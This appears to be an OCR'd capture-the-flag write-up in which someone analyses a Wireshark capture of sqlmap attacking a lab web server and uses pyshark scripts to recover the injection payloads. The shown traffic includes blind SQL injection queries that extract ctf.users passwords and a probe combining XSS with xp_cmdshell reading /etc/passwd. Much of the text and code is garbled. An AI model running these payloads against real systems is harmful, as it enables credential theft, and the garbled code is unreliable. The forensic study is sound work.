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httd [%] -] +
Ka. Ting Source Destination Protocol  Length  Imfo s
= 149 34, 388554 192.168.153.1 192.168.153.13@ HTTP 246 GET /rid=1 HTTP/1.1
-t 153 34.394178 192.168.153.13@ 192.168.153.1 HTTP 333 HTTP/1.1 208 OK (text/html)

159 344478684 192.168.152.1 192.168.153.138 HTTP 518 GET /?id=18uMTh=9384%28ANDE201%3D1%20UNIONYE2RAL L8

161 34.449761 192.1568.153.138 192.168.153.1 HTTP 333 HTTP/1.1 28@ OK (text/html)

172 34.BB5676 192.168.153.1 192.168.153.138 HTTP 246 GET f?id=1 HTTP/1.1

174 34.8B7625 192.168.153.138 192.168.153.1 HTTP 333 HTTP/1.1 208@ OK (text/html)

182 34.982618 192.168.153.1 192.168.153.13@ HTTP 249 GET /7id=4843 HTTP/1.1

186 34.985818 192.168.153.13@ 192.168.153.1 HTTP 325 HTTP/1.1 2@@ OK (text/html)

192 34.,914489 192.168.153.1 192.168.153.130@ HTTP 274 GET /?id=1%2BX2CH2CR2CK22%29%27.%28%2C HTTP/1.1

194 34.916218 192.168.153.138 192.168.153.1 HTTP 325 HTTP/1.1 208 OK (text/html)

282 34.92069%9 192.168.153.1 192.168.153.130 HTTP 254 GET .I:F:ld 8965 - EBS-‘-}LHTII:iE 11\|.—:J J !fEU-U lr"'—"_":'f-'-l 0l
; el

httd %] .! +
K. Time Source Destination Protocol  Length  Info e
= 149 34, 388554 192.168.153.1 192.168.153.138 HTTP 246 GET /#id=1 HTTR/1.1
- 153 34.394178 192.168.153.13@ 192.168.153.1 HTTP 333 HTTP/1.1 200 OK (text/html)

159 34447884 192.168.153.1 192.168.153.130 HTTP 518 GET /7id=18uMTh=9384%20AND%201%3D1%2OUNTONK20AL KRGS
161 34.449761 192.168.153.138 192.168.153.1 HTTP 333 HTTP/1.1 208 OK (text/html)

172 34.BB5676 192.168.153.1 192.168.153.130 HTTP 246 GET /iid=1 HTTR/1l.1

174 34.BB7625 192.168.153.138 192.168.153.1 HTTP 333 HTTP/1.1 208 OK (text/html)

182 34.982618 192.168.153.1 192.168.153.13@ HTTP 249 GET /rid=4843 HTTP/1.1

186 34.9@5018 192.168.153.13@ 192.168.153.1 HTTP 325 HTTP/1.1 208 OK (text/html)

192 34.914489 192.168.153.1 192.168.153.138 HTTP 274 GET /?id=1%28%2C%2CK2CH%22%29%27.%28%2C HTTP/1.1

194 34.916210 192.158.153.138 192.168.153.1 HTTP 325 HTTP/1.1 28@ OK (text/html)

282 34.928699 192.168.153.1 192.168.153.138 HTTP
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254 GET /?1d=8965-8964 HTTP/1.1 i
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‘-.'_' reshark - 1BES HTTP iif (tcp.stream eqg 1

GET /?

! id=1&uMTh=9384%20AND%201%3D1%20UNION%20AL L%20SELECT%201%2CNULL%2C%27%3Cscripth3Ealerth
28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%28WHE
RE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20. .%2F. . %2F. .
%2Fetc¥%2Fpasswd%27%29%23 HTTP/1.1
Accept-Encoding: gzip,deflate
Host: 192.168.153.130:3000
Accept: */*

User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Connection: close
| Cache-Control: no-cache

HTTP/1.1 200 0K
| Date: Sat, 18 Sep 2021 ©6:15:56 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 65
Connection: close
Content-Type: text/html; charset=UTF-8

| <center><font color='red'>1</font></br><font color="'red'>Dumb</font></br><font
color="red'>Dumb</font></center>

#4159, | EFF H48, | HEF H4E, | cun(s). SHEHF.

5 BAHE (781 bytes) v Show data as ASCII v
| EH: [ERT—
AR e AEHR 2@ CGertl @jokdWan |
Unicodel#iS UTF-8#585 URLIEES/AFES UnixBHElEE AsciifMativelBFREE Hexd S/ 45 HtmBRE S

GET /7id=18uMTh=9384 AND 1=1 UNION ALL SELECT 1,MULL,' <script=alert("X55") </script="table_name FROM information_schema tables WHERE 2= 1--/**/: EXEC
xp_cmdshell('cat ./../. /etc/passwd )& HTTR/1.1

ull-8

(08 ok et
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import pyshark

import urllib

import re
file=pyshark.FileCapture('log.pcapng',display_filter="http")
#urllib.parse.quote(string)

payload_txt=open('payload2.txt', 'w+')
txt=""

point=0

flag=""

for i in file:

string=str(i)
#tprint(string,">>>>>")
stringl=re.search( r'id=(.*)', string, re.M|re.I)

try:
stringl=stringl.group()
stringl=urllib.parse.unquote(stringl)
except:
stringl=""

#print(string)
if(stringl==""):
pass
else:
txt=txt+stringl
payload_txt.write(txt)

payload_txt.close()
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id=1 AND @@VERSION COMMENT LIKE 0n25506572636f626125 HTTRA . 1Wn

id=1 AND @@VERSION_COMMENT LIKE n25506572636fe6125

id=1 AND AURORA_VERSIONI) LIKE 0x25 HTTP/1.1\r\n

id=1 AND AURDRA_VERSION() LIKE 0x25

id=1 AND ORD{MID{(SELECT IFNULLICASTICOUNT(*) AS NCHAR),0x20) FROM ctfusers),1,1))=51 HTTRA.1hAn

id=1 AND ORDIMID{(SELECT IFNULLICASTICOUNT(*) AS NCHAR), (x20) FROM ctfusers).1,1))=51

id=1 AND ORD{MID{(SELECT IFNULLICAST{COUNT(*) AS NCHAR],0x20) FROM ctf.users),1,1))»54 HTTR/1.1y"An

id=1 AND ORD{MID{(SELECT IFNULLICASTICOUNT(") AS NCHAR), 0x20) FROM ctiusers),1,1))>54

id=1 AND ORD{MID{(SELECT IFNULLICASTICOUNT(*) AS NCHAR),0x20) FROM ctfusers),1,1))=56 HTTR/1.ThAn

id=1 AND ORD{MID{(SELECT IFNULLICAST(COUNT(*) AS NCHAR),0x20) FROM cif.users),1,1)) » 56

id=1 AND ORD{MID{(SELECT IFNULLICASTICOUNT(*) AS NCHAR),0x20) FROM ctfusers),1,1))»55 HTTR/1.1yAn

id=1 AND ORD{MID{(SELECT IFNULL{CAST{COUNT(*) AS NCHAR),0x20) FROM ctf.users),1,1))>55

id=1 AND ORD{MID({{SELECT IFNULLICASTICOUNT(*) AS NCHAR),0x20) FROM ctfusers),2,1)1=51 HTTR/1L.1%n

id=1 AND ORD{MID{(SELECT IFNULLICASTCOUNT(*) AS NCHAR),x20) FROM ctfusers),2,1)) =51

id=1 AND ORDIMID{(SELECT IFNULLICASTICOUNT(*) AS NCHAR),0x20) FROM ctfusers).2,1)) »48 HTTR/1.1y"An

id=1 AMD ORD{MID((SELECT IFMULL(CASTICOUMNT(*) AS NCHAR),0x20) FROM ctfusers),2,1)) > 48

id=1 AND ORD{MID{(SELECT IFNULLICASTICOUNT(*) AS NCHAR),0x20) FROM ctfusers),.2,1))>9 HTTR/1.14n

id=1 AND ORD{MID{(SELECT IFNULLICASTICOUNT(*) AS NCHAR),0x20) FROM ctf.users),2,1))=9

id=1 AND ORD{MID({SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),1,1))=64 HTTR/. 1A
id=1 AND ORD{MID{{SELECT IFNULLICAST(password AS MCHAR)L0x20) FROM ctf.users ORDER BY password LIMIT 0,1),1,1))=64

id=1 AND ORD{MID({(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),7,1))=96 HTTR/1.1vn
id=1 AND ORD{MID{(SELECT IFNULL{CAST(password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),1,1))>96

id=1 AND ORD(MID((SELECT IFMULLICAST(password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),7,1))= 112 HTTRAL TR
id=1 AND ORD{MID({SELECT IFNULL{CAST{password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),1,1))=112

id=1 AND ORD{MID((SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctfusers ORDER BY password LIMIT 0,1),7,1))= 104 HTTB/1.1An
id=1 AND ORD{MID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),1,1))> 104

id=1 AND ORD{MID({SELECT IFNULLICAST{password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),1,1))=100 HTTRA. 10
id=1 AND ORD{MID{{SELECT IFMULL{CAST{password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),1,1))>100

jd=1 AND ORD{MID((SELECT IFMULL(CAST(password AS NCHAR),0x20) FROM ctf users ORDER BY passward LIMIT 0,1),1,1))>98 HTTPA. T\An
id=1 AND ORD{MID({{SELECT IFMULLICAST(password AS MCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),1,1))>58

id=1 AND ORD{MID({{SELECT IFMULLICAST{password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),1,1))=98 HTTR/1. 10
id=1 AND ORD{MID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),1,1))>99

id=1 AND ORD{MID((SELECT IFMULL{CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY passward LIMIT 0,1),2,1))>96 HTTPA. T\An
id=1 AND ORD{MID({(SELECT IFNULLICAST(password AS MCHAR),020) FROM ctf.users ORDER BY password LIMIT 0,1).2,1))>96

id=1 AND ORD{MID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),2,1))=112 HTTP/1.14An
id=1 AND ORD{MID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),2,1))>112

id=1 AND ORD{MID{{SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),2,1))> 120 HTTRE/A.1WAn
id=1 AND ORD{MID({{SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctfusers ORDER BY password LIMIT 0,1),2,1))=120

id=1 AND ORD{MID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),2,1))> 114 HTTP/1.1\An
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« M Wireshark - 885 HTTP i (tcp.stream eq 3) - log.pcapng — a x

GET /?id=4@43 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: 192.168.153.130:3000

Accept: */*

User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Connection: close

Cache-Control: no-cache

HTTP/1.1 200 0K

Date: Sat, 18 Sep 2021 ©6:15:56 GMT

' Server: Apache/2.4.41 (Ubuntu)

. Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 57

i | Connection: close

f Content-Type: text/html; charset=UTF-8

<center><font color='red'></font></br><font color="red'></font></br><font
color="red"'></font></center>

p 4 Ery 44, | BEE H#4. 1 turnis)
BAAHE (511 bytes) v Show data as ASCII M

w: | RN

wEME || we || A#ke || EE || (SpN @jokEMyan




| GET /?id=1%2@0AND%2016%3D16 HTTP/1.1
Accept-Encoding: gzip,deflate
Host: 192.168.153.130:3000
Accept: */*
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

HTTP/1.1 2@@ OK
Date: Sat, 18 Sep 2021 ©6:16:22 GMT
Server: Apache/2.4.41 (Ubuntu)

| Vary: Accept-Encoding
Content-Encoding: gzip

| Content-Length: 65
Connection: close
Content-Type: text/html; charset=UTF-8

<center><font color='red'>1</font></br><font color='red"'>Dumb</font></br><font
color="red'>Dumb</font></center>

| 54 576, | AR HE. | BEE HE. | wn(s) AHEE.

| BARHE (533 bytes) * Show data as ASCII "
-
Mk || #w || BEee || EZE || cGpn @lokBiyan |
KA AR B2,

<center><font color='red"'>1</font></br><font color='red'>Dumb</font></br><font
color="red' >Dumb</font></center>
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import pyshark

import urllib

import re
file=pyshark.FileCapture('log.pcapng',display_filter="http")
#urllib.parse.quote(string)

payload_txt=open('payload.txt', 'w+"')
txt=""

point=0

flag=""

for i in file:

string=str(i)
#print(string,">>>>>")
stringl=re.search( r'id=(.*)', string, re.M|re.I)
flag=re.search(r"<center><font color='red'>(\d)</font></br><font color='red'>",string,re.M|re.I)
try:
if('1'in flag.group()):
point=1

else:
point=0

except:
None

try:
stringl=stringl.group()
stringl=urllib.parse.unquote(stringl)
if(point==1):
stringl=stringl+flag.group()+'\n'
else:
None
except:
stringl=""

#print(string)
if(stringl==""):
pass
else:
txt=txt+stringl
payload_txt.write(txt)

payload_txt.close()
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id=1 AND QUARTER{MULL) IS NULL -~
<center> <font color="red > 1< font> </br> <font color="red >
id=1 AND SESSION_USER() LIKE USER()
<center> <font color="red' = 1 £ font> < /br> <font color="red' =
id=1 AMD ISMULL(JSON_STORAGE_FREE[MULL))
<center> <font color="red > 1< font> </br> <font color="red >
id=1 AND ORD{MID((SELECT IFNULL(CAST(COUNT{*) AS NCHAR),0n20) FROM ctfusers),1,1))=51
zgenters <font color="red = 1 < font> < /br> <font color="red' =
id=1 AND ORD{MID{(SELECT IFNULLICASTICOUNT(*) AS NCHAR),0x20) FROM ctusers),1,1)) =54
<center> <font color="red' > 1 < font> < fbr> <font color="red'>
id=1 AND ORDIMID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),1,10)>64
«center> <font color="red' = 1 < fant> < /br> <foni color='"red' =
id=1 AND ORD{MID({SELECT IFNULL{CAST{password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),1,1))>96
<center> <font color="red' > 1 < font> < /br> <font color="red'»
id=1 AND ORDIMID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),1,1))>98
< center> <font color="red' =1 < font> </br> <font color='"red' =
id=1 AND ORD{MID({SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),2,1))>96
<center> <font color="red' » 1 < font> < /br> <font color="red'»
id=1 AND ORDIMID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),.2,10)=112
< center> <font color="red' =1 </font> </br> <font color='red' >
id=1 AND ORD{MID([SELECT IFNULLICAST{password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),2,1))>113
<center> <font color="red' » 1 < font> < /br> <font color="red'>
id=1 AND ORDIMID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),3,1))=96
<center> <font colors"red’ » 1 < font> < /br> <font colors'red' »
id=1 AND ORD{MID((SELECT IFMULLICAST(password AS NCHAR),0:20) FROM ctf users ORDER BY password LIMIT 0,1).4,1))=96
<genter> < font color="red' > 1 <font> < /br> <font colors'"red' =
id=1 AND ORDIMID{(SELECT IFNULLICAST(password AS NCHAR),0x20) FROM cif.users ORDER BY password LIMIT 0,1),4,1))=104
<center> <font color="red’ » 1 < font> < /br> <font colors'red' »
id=1 AND ORD{MID({SELECT IFNULL(CAST password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),4,1))> 108
<center=> <font color="red’ = 1 < font> < fbr> <font colors'red =
id=1 AND ORD{MID({SELECT IFNULL{CAST{password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1).4,1))>110
<center> <font color="red' > 1 </font> </br> <font color="red'»
id=1 AND ORD{MID{(SELECT IFNULL{CAST{password AS NCHAR),0x20) FROM ctf users ORDER BY password LIMIT 0,1),4,1))>111
<center> <font colors"red' = 1 <fMont> < fbr> <font color="red' >
id=1 AND ORD{MID({SELECT IFNULL{CAST{password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 0,1),5,1))>96
<center> <font color="red'> 1 </font> </br> <font color="red'> @ Pw@eimIWYR
id=1 AND ORD{MID((SELECT IFNULL{CAST(password AS NCHAR),0x20) FROM ctfusers ORDER BY password LIMIT 0,1),5,1))= 104
<center> <font color="red > 1 < font> </br> <font color="red >
id=1 AND ORD{MID({SELECT IFNULL{CAST{password AS NCHAR)0x20) FROM ctf.users ORDER BY password LIMIT 0,1),5,1))>108 o i o
: : ' CSDN @joker-yan

Wi MR 1W0%  Macinbosh {CR] UTF-
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id=1 AND ORD{MID{{SELECT IFNULL{CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 2,1),11,1))=104
<center> <font color="red'> 1 </font> </br> <font color="red'>

id=1 AND ORD(MID({SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 2,1),11,1))=108
<center> <font color="red'> 1 </font> </br> <font color="red'>

id=1 AND ORD{MID({SELECT IFNULL{CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 2,1),11,1))=109
<center> <font color="red'=1</font> </br> <font color="red'>

id=1 AND ORD{MID((SELECT IFNULL{CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 2,1),13,1))>96
<center><font color="red'> 1 </font> </br> <font color="red'>

id=1 AND ORD{MID{{SELECT IFNULL{CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 2,1),13,1))=104
<center> <font color="red'> 1 </font> </br> <font color="red'>

id=1 AND ORD(MID({SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 2,1),13,1))=106
<center> <font color="red'> 1 </font> </br> <font color="red'>

id=1 AND ORD({MID{{SELECT IFNULL({CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password LIMIT 2,1),13,1))=107
<center> <font color="red">1 </font=> </br> <font color="red'> renhl @iakary:
id=1 AND ORD{MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM ctf.users ORDER BY password Llr'qﬁ";'ﬁi'i'l),’iajjﬂﬁﬁr yan
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